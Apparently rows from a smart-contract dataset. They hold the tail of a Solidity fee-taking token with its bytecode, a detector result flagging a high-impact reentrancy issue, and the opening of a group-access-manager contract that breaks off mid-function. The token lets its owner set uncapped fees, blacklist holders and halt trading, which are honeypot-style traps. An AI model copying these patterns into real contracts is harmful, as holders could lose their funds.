function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b157600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611962565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600c81526b556e6976657273652044414f60a01b60208201525b60405161023c9190611a27565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a7c565b61069b565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50680246ddf979766800005b60405190815260200161023c565b3480156102df57600080fd5b506102656102ee366004611aa8565b6106b2565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023c565b34801561033157600080fd5b50601554610295906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611ae9565b61071b565b34801561037157600080fd5b506101fc610380366004611b16565b610766565b34801561039157600080fd5b506101fc6107ae565b3480156103a657600080fd5b506102c56103b5366004611ae9565b6107f9565b3480156103c657600080fd5b506101fc61081b565b3480156103db57600080fd5b506101fc6103ea366004611b31565b61088f565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611ae9565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610295565b34801561045c57600080fd5b506101fc61046b366004611b16565b6108be565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b506040805180820190915260028152611a1960f11b602082015261022f565b3480156104bd57600080fd5b506101fc6104cc366004611b31565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b4a565b610935565b3480156104fd57600080fd5b5061026561050c366004611a7c565b610973565b34801561051d57600080fd5b5061026561052c366004611ae9565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b7c565b6109d4565b34801561058257600080fd5b506102c5610591366004611c00565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b31565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae9565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c39565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c9a565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c39565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c39565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c39565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c39565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c39565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c39565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c39565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c39565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6e565b9050602002016020810190610a359190611ae9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c9a565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c39565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c39565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb5565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a27565b50600061121f8486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce4565b816001815181106113cd576113cd611c6e565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611d01565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611669565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611697565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611736565b6001600160a01b0389166000908152600260205260409020556115c581611795565b6115cf84836117df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b6006546000908190680246ddf9797668000061164382826114c0565b82101561166057505060065492680246ddf9797668000092509050565b90939092509050565b6000818361168a5760405162461bcd60e51b81526004016106269190611a27565b50600061121f8486611d72565b60008060008060008060008060006116b48a600c54600d54611803565b92509250925060006116c461149d565b905060008060006116d78e878787611858565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117438385611cb5565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179f61149d565b905060006117ad83836118a8565b306000908152600260205260409020549091506117ca9082611736565b30600090815260026020526040902055505050565b6006546117ec90836116f4565b6006556007546117fc9082611736565b6007555050565b600080808061181d606461181789896118a8565b906114c0565b9050600061183060646118178a896118a8565b90506000611848826118428b866116f4565b906116f4565b9992985090965090945050505050565b600080808061186788866118a8565b9050600061187588876118a8565b9050600061188388886118a8565b905060006118958261184286866116f4565b939b939a50919850919650505050505050565b6000826118b7575060006106ac565b60006118c38385611d94565b9050826118d08583611d72565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195d8161193d565b919050565b6000602080838503121561197557600080fd5b823567ffffffffffffffff8082111561198d57600080fd5b818501915085601f8301126119a157600080fd5b8135818111156119b3576119b3611927565b8060051b604051601f19603f830116810181811085821117156119d8576119d8611927565b6040529182528482019250838101850191888311156119f657600080fd5b938501935b82851015611a1b57611a0c85611952565b845293850193928501926119fb565b98975050505050505050565b600060208083528351808285015260005b81811015611a5457858101830151858201604001528201611a38565b81811115611a66576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8f57600080fd5b8235611a9a8161193d565b946020939093013593505050565b600080600060608486031215611abd57600080fd5b8335611ac88161193d565b92506020840135611ad88161193d565b929592945050506040919091013590565b600060208284031215611afb57600080fd5b81356112df8161193d565b8035801515811461195d57600080fd5b600060208284031215611b2857600080fd5b6112df82611b06565b600060208284031215611b4357600080fd5b5035919050565b60008060008060808587031215611b6057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9157600080fd5b833567ffffffffffffffff80821115611ba957600080fd5b818601915086601f830112611bbd57600080fd5b813581811115611bcc57600080fd5b8760208260051b8501011115611be157600080fd5b602092830195509350611bf79186019050611b06565b90509250925092565b60008060408385031215611c1357600080fd5b8235611c1e8161193d565b91506020830135611c2e8161193d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cae57611cae611c84565b5060010190565b60008219821115611cc857611cc8611c84565b500190565b600082821015611cdf57611cdf611c84565b500390565b600060208284031215611cf657600080fd5b81516112df8161193d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c84565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205ed0ff8557b0d587eab4466c7fd4b7536ab954813f36f5564e9eef33a8c70cdc64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,893 |
0xb75322b6687d36edbcdae9399dd26e9e45c161a8 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Owned contract with safe ownership pass.
*
* Note: all the non constant functions return false instead of throwing in case if state change
* didn't happen yet.
*/
contract Owned {
/**
* Contract owner address
*/
address public contractOwner;
/**
* Contract owner address
*/
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
/**
* @dev Owner check modifier
*/
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
/**
* @dev Destroy contract and scrub a data
* @notice Only owner can call it
*/
function destroy() onlyContractOwner {
suicide(msg.sender);
}
/**
* Prepares ownership pass.
*
* Can only be called by current owner.
*
* @param _to address of the next owner. 0x0 is not allowed.
*
* @return success.
*/
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
/**
* Finalize ownership pass.
*
* Can only be called by pending owner.
*
* @return success.
*/
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
/**
* @title Generic owned destroyable contract
*/
contract Object is Owned {
/**
* Common result code. Means everything is fine.
*/
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
contract GroupsAccessManagerEmitter {
event UserCreated(address user);
event UserDeleted(address user);
event GroupCreated(bytes32 groupName);
event GroupActivated(bytes32 groupName);
event GroupDeactivated(bytes32 groupName);
event UserToGroupAdded(address user, bytes32 groupName);
event UserFromGroupRemoved(address user, bytes32 groupName);
event Error(uint errorCode);
function _emitError(uint _errorCode) internal returns (uint) {
Error(_errorCode);
return _errorCode;
}
}
/// @title Group Access Manager
///
/// Base implementation
/// This contract serves as group manager
contract GroupsAccessManager is Object, GroupsAccessManagerEmitter {
uint constant USER_MANAGER_SCOPE = 111000;
uint constant USER_MANAGER_MEMBER_ALREADY_EXIST = USER_MANAGER_SCOPE + 1;
uint constant USER_MANAGER_GROUP_ALREADY_EXIST = USER_MANAGER_SCOPE + 2;
uint constant USER_MANAGER_OBJECT_ALREADY_SECURED = USER_MANAGER_SCOPE + 3;
uint constant USER_MANAGER_CONFIRMATION_HAS_COMPLETED = USER_MANAGER_SCOPE + 4;
uint constant USER_MANAGER_USER_HAS_CONFIRMED = USER_MANAGER_SCOPE + 5;
uint constant USER_MANAGER_NOT_ENOUGH_GAS = USER_MANAGER_SCOPE + 6;
uint constant USER_MANAGER_INVALID_INVOCATION = USER_MANAGER_SCOPE + 7;
uint constant USER_MANAGER_DONE = USER_MANAGER_SCOPE + 11;
uint constant USER_MANAGER_CANCELLED = USER_MANAGER_SCOPE + 12;
using SafeMath for uint;
struct Member {
address addr;
uint groupsCount;
mapping(bytes32 => uint) groupName2index;
mapping(uint => uint) index2globalIndex;
}
struct Group {
bytes32 name;
uint priority;
uint membersCount;
mapping(address => uint) memberAddress2index;
mapping(uint => uint) index2globalIndex;
}
uint public membersCount;
mapping(uint => address) public index2memberAddress;
mapping(address => uint) public memberAddress2index;
mapping(address => Member) address2member;
uint public groupsCount;
mapping(uint => bytes32) public index2groupName;
mapping(bytes32 => uint) public groupName2index;
mapping(bytes32 => Group) groupName2group;
mapping(bytes32 => bool) public groupsBlocked; // if groupName => true, then couldn't be used for confirmation
function() payable public {
revert();
}
/// @notice Register user
/// Can be called only by contract owner
///
/// @param _user user address
///
/// @return code
function registerUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
if (isRegisteredUser(_user)) {
return _emitError(USER_MANAGER_MEMBER_ALREADY_EXIST);
}
uint _membersCount = membersCount.add(1);
membersCount = _membersCount;
memberAddress2index[_user] = _membersCount;
index2memberAddress[_membersCount] = _user;
address2member[_user] = Member(_user, 0);
UserCreated(_user);
return OK;
}
/// @notice Discard user registration
/// Can be called only by contract owner
///
/// @param _user user address
///
/// @return code
function unregisterUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
uint _memberIndex = memberAddress2index[_user];
if (_memberIndex == 0 || address2member[_user].groupsCount != 0) {
return _emitError(USER_MANAGER_INVALID_INVOCATION);
}
uint _membersCount = membersCount;
delete memberAddress2index[_user];
if (_memberIndex != _membersCount) {
address _lastUser = index2memberAddress[_membersCount];
index2memberAddress[_memberIndex] = _lastUser;
memberAddress2index[_lastUser] = _memberIndex;
}
delete address2member[_user];
delete index2memberAddress[_membersCount];
delete memberAddress2index[_user];
membersCount = _membersCount.sub(1);
UserDeleted(_user);
return OK;
}
/// @notice Create group
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _priority group priority
///
/// @return code
function createGroup(bytes32 _groupName, uint _priority) external onlyContractOwner returns (uint) {
require(_groupName != bytes32(0));
if (isGroupExists(_groupName)) {
return _emitError(USER_MANAGER_GROUP_ALREADY_EXIST);
}
uint _groupsCount = groupsCount.add(1);
groupName2index[_groupName] = _groupsCount;
index2groupName[_groupsCount] = _groupName;
groupName2group[_groupName] = Group(_groupName, _priority, 0);
groupsCount = _groupsCount;
GroupCreated(_groupName);
return OK;
}
/// @notice Change group status
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _blocked block status
///
/// @return code
function changeGroupActiveStatus(bytes32 _groupName, bool _blocked) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
groupsBlocked[_groupName] = _blocked;
return OK;
}
/// @notice Add users in group
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _users user array
///
/// @return code
function addUsersToGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
require(_memberIndex != 0);
if (_group.memberAddress2index[_user] != 0) {
continue;
}
_groupMembersCount = _groupMembersCount.add(1);
_group.memberAddress2index[_user] = _groupMembersCount;
_group.index2globalIndex[_groupMembersCount] = _memberIndex;
_addGroupToMember(_user, _groupName);
UserToGroupAdded(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
/// @notice Remove users in group
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _users user array
///
/// @return code
function removeUsersFromGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
uint _groupMemberIndex = _group.memberAddress2index[_user];
if (_memberIndex == 0 || _groupMemberIndex == 0) {
continue;
}
if (_groupMemberIndex != _groupMembersCount) {
uint _lastUserGlobalIndex = _group.index2globalIndex[_groupMembersCount];
address _lastUser = index2memberAddress[_lastUserGlobalIndex];
_group.index2globalIndex[_groupMemberIndex] = _lastUserGlobalIndex;
_group.memberAddress2index[_lastUser] = _groupMemberIndex;
}
delete _group.memberAddress2index[_user];
